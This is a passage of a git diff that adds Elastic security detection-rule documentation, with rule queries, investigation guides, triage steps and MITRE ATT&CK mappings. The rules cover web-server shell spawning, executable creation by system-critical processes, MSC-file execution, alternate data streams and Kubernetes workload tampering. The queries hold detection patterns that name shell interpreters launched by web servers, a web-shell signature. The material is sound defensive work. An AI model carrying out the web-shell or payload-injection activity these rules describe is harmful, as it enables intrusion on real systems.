steps. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "exec" and ( + ( + process.parent.name in ( + "apache", "nginx", "apache2", "httpd", "lighttpd", "caddy", "mongrel_rails", "gunicorn", + "uwsgi", "openresty", "cherokee", "h2o", "resin", "puma", "unicorn", "traefik", "tornado", "hypercorn", + "daphne", "twistd", "yaws", "webfsd", "httpd.worker", "flask", "rails", "mongrel", "php-cgi", + "php-fcgi", "php-cgi.cagefs", "catalina.sh", "hiawatha", "lswsctrl" + ) or + process.parent.name like "php-fpm*" or + user.name in ("apache", "www-data", "httpd", "nginx", "lighttpd", "tomcat", "tomcat8", "tomcat9") or + user.id in ("33", "498", "48") or + (process.parent.name == "java" and process.parent.working_directory like "/u0?/*") or + process.parent.working_directory like "/var/www/*" + ) + ) and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.command_line like "* -c *" and not ( + process.working_directory like "/home/*" or + process.working_directory == "/" or + process.working_directory like "/vscode/vscode-server/*" or + process.parent.executable like "/vscode/vscode-server/*" or + process.parent.executable == "/usr/bin/xfce4-terminal" + ) + +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.parent.name, + user.name, + user.id, + process.working_directory, + process.parent.working_directory, + process.name, + process.executable, + process.command_line, + process.parent.executable, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.command_line, process.working_directory, process.parent.executable + +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count < 5 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.command_line, process.working_directory, process.parent.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-executable-file-creation-by-a-system-critical-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-executable-file-creation-by-a-system-critical-process.asciidoc new file mode 100644 index 0000000000..cacde013e3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-executable-file-creation-by-a-system-critical-process.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-21-unusual-executable-file-creation-by-a-system-critical-process]] +=== Unusual Executable File Creation by a System Critical Process + +Identifies an unexpected executable file being created or modified by a Windows system critical process, which may indicate activity related to remote code execution or other forms of exploitation. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Executable File Creation by a System Critical Process* + + +Windows internal/system processes have some characteristics that can be used to spot suspicious activities. One of these characteristics is file operations. + +This rule looks for the creation of executable files done by system-critical processes. This can indicate the exploitation of a vulnerability or a malicious process masquerading as a system-critical process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.extension : ("exe", "dll") and + process.name : ("smss.exe", + "autochk.exe", + "csrss.exe", + "wininit.exe", + "services.exe", + "lsass.exe", + "winlogon.exe", + "userinit.exe", + "LogonUI.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Exploitation for Defense Evasion +** ID: T1211 +** Reference URL: https://attack.mitre.org/techniques/T1211/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-execution-via-microsoft-common-console-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-execution-via-microsoft-common-console-file.asciidoc new file mode 100644 index 0000000000..f4b7d8de06 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-execution-via-microsoft-common-console-file.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-21-unusual-execution-via-microsoft-common-console-file]] +=== Unusual Execution via Microsoft Common Console File + +Identifies the execution of a child process from a Microsoft Common Console file. Adversaries may embed a malicious command in an MSC file in order to trick victims into executing malicious commands. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.genians.co.kr/blog/threat_intelligence/facebook + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne + +*Version*: 207 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Execution via Microsoft Common Console File* + + +- Investigate the source of the MSC file. +- Investigate the process execution chain (all spawned child processes and their descendants). +- Investigate the process and it's descendants network and file events. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : "?:\\Windows\\System32\\mmc.exe" and endswith~(process.parent.args, ".msc") and + not ( + process.parent.args : ( + "?:\\Windows\\System32\\*.msc", + "?:\\Windows\\SysWOW64\\*.msc", + "?:\\Program files\\*.msc", + "?:\\Program Files (x86)\\*.msc" + ) or + ( + process.executable : "?:\\Windows\\System32\\mmc.exe" and + process.command_line : "\"C:\\WINDOWS\\system32\\mmc.exe\" \"C:\\Windows\\System32\\gpme.msc\" /s /gpobject:\"LDAP://*" + ) or + ( + process.executable : ( + "?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "?:\\Program Files\\Mozilla Firefox\\firefox.exe", + "?:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Program Files\\internet explorer\\iexplore.exe" + ) and + process.args : "http*://go.microsoft.com/fwlink/*" + ) or + process.executable : ( + "?:\\Windows\\System32\\vmconnect.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\wermgr.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-file-creation-alternate-data-stream.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-file-creation-alternate-data-stream.asciidoc new file mode 100644 index 0000000000..38a1753e87 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-file-creation-alternate-data-stream.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-unusual-file-creation-alternate-data-stream]] +=== Unusual File Creation - Alternate Data Stream + +Identifies suspicious creation of Alternate Data Streams on highly targeted files using a script or command interpreter. This is uncommon for legitimate files and sometimes done by adversaries to hide malware. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame + +*Version*: 323 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual File Creation - Alternate Data Stream* + + +Alternate Data Streams (ADS) are file attributes only found on the NTFS file system. In this file system, files are built up from a couple of attributes; one of them is $Data, also known as the data attribute. + +The regular data stream, also referred to as the unnamed data stream since the name string of this attribute is empty, contains the data inside the file. So any data stream that has a name is considered an alternate data stream. + +Attackers can abuse these alternate data streams to hide malicious files, string payloads, etc. This rule detects the creation of alternate data streams on highly targeted file types. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Retrieve the contents of the alternate data stream, and analyze it for potential maliciousness. Analysts can use the following PowerShell cmdlet to accomplish this: + - `Get-Content C:\Path\To\file.exe -stream SampleAlternateDataStreamName` +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of process executable and file conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and + process.name : ("cmd.exe", "powershell.exe", "mshta.exe", "wscript.exe", "node.exe", "python*.exe") and + file.extension in~ ( + "pdf", "dll", "exe", "dat", "com", "bat", "cmd", "sys", "vbs", "vbe", "ps1", "hta", "txt", "js", "jse", + "wsh", "wsf", "sct", "docx", "doc", "xlsx", "xls", "pptx", "ppt", "rtf", "gif", "jpg", "png", "bmp", "img", "iso" + ) and + file.path : "C:\\*:*" and + not file.name :("*:$DATA", "*PG$Secure", "*Zone.Identifier", "*com.apple.lastuseddate#PS", "*com.apple.provenance") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: NTFS File Attributes +** ID: T1564.004 +** Reference URL: https://attack.mitre.org/techniques/T1564/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-kubernetes-sensitive-workload-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-kubernetes-sensitive-workload-modification.asciidoc new file mode 100644 index 0000000000..9f1e3d63d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-kubernetes-sensitive-workload-modification.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-unusual-kubernetes-sensitive-workload-modification]] +=== Unusual Kubernetes Sensitive Workload Modification + +Detects the creation or modification of several sensitive workloads, such as DaemonSets, Deployments, or CronJobs, by an unusual user agent, source IP and username, which may indicate privilege escalation or unauthorized access within the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control +* https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Kubernetes Sensitive Workload Modification* + + +This rule detects allowed create or patch activity against sensitive Kubernetes workloads (DaemonSets, Deployments, CronJobs) coming from an unusual combination of client, network origin, and user identity, which can signal stolen credentials, privilege escalation, or unauthorized control of cluster execution. Attackers commonly patch an existing Deployment to inject a new container or init container that runs with elevated privileges and pulls a remote payload, then rely on the workload controller to redeploy it across the environment. + + +*Possible investigation steps* + + +- Retrieve the full audit event for the change and compare it to the most recent prior modification of the same workload to identify what was altered (e.g., image, command/args, env/secret refs, volumes, serviceAccount, securityContext, hostPath/hostNetwork, privileged settings). +- Attribute the action to a real identity by tracing the Kubernetes user to its backing cloud/IAM identity or kubeconfig/cert and validate whether the access path (SSO, token, service account, CI/CD runner) and source network location are expected for that operator. +- Determine blast radius by listing other recent creates/patches by the same identity and from the same origin across namespaces, and check for follow-on actions such as creating RBAC bindings, secrets, or additional controllers. +- Inspect the affected workload’s rollout status and pod specs to confirm whether new pods were created, then review container images, pull registries, and runtime behavior for indicators of compromise (unexpected network egress, crypto-mining, credential access, or exec activity). +- Validate the change against an approved deployment workflow by correlating with GitOps/CI commit history and change tickets, and if unapproved, contain by scaling down/rolling back the workload and revoking the credential or token used. + + +*False positive analysis* + + +- A legitimate on-call engineer performs an emergency `kubectl` create/patch to a Deployment/CronJob/DaemonSet from a new workstation, VPN egress IP, or updated kubectl version, producing an unusual user_agent/source IP/username combination despite being authorized. +- A routine automation path changes (e.g., CI runner or service account rotated/migrated to a new node pool or network segment) and continues applying standard workload updates, causing the same create/patch activity to appear anomalous due to the new origin and client identity. + + +*Response and remediation* + + +- Immediately pause impact by scaling the modified Deployment/CronJob to zero or deleting the new DaemonSet and stopping any active rollout while preserving the altered manifest for evidence. +- Roll back the workload to the last known-good version from GitOps/CI or prior ReplicaSet/Job template, then redeploy only after verifying container images, init containers, commands, serviceAccount, and privileged/host settings match the approved baseline. +- Revoke and rotate the credential used for the change (user token/cert or service account token), invalidate related kubeconfigs, and review/remove any newly created RBAC bindings, secrets, or service accounts tied to the same actor. +- Quarantine affected nodes and pods for analysis by cordoning/draining nodes that ran the new pods and collecting pod logs, container filesystem snapshots, and network egress details to identify payloads and persistence. +- Escalate to the incident response/on-call security team immediately if the change introduced privileged containers, hostPath mounts, hostNetwork, new external images/registries, or any unexpected DaemonSet creation across multiple nodes. +- Harden by enforcing admission controls to restrict privileged settings and sensitive namespaces, requiring changes via approved automation identities, and tightening RBAC so only designated deployment controllers can create/patch DaemonSets, Deployments, and CronJobs. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and user_agent.original:* and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:("daemonsets" or "deployments" or "cronjobs") and +kubernetes.audit.verb:("create" or "patch") and +not kubernetes.audit.user.groups:"system:masters" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-parent-child-relationship.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-parent-child-relationship.asciidoc new file mode 100644 index 0000000000..eb09829069 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-parent-child-relationship.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-21-unusual-parent-child-relationship]] +=== Unusual Parent-Child Relationship + +Identifies Windows programs run from unexpected parent processes. This could indicate masquerading or other strange activity on a system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/sbousseaden/Slides/blob/master/Hunting%20MindMaps/PNG/Windows%20Processes%20TH.map.png +* https://www.andreafortuna.org/2017/06/15/standard-windows-processes-a-brief-reference/ +* https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Parent-Child Relationship* + + +Windows internal/system processes have some characteristics that can be used to spot suspicious activities. One of these characteristics is parent-child relationships. These relationships can be used to baseline the typical behavior of the system and then alert on occurrences that don't comply with the baseline. + +This rule uses this information to spot suspicious parent and child processes. + +> 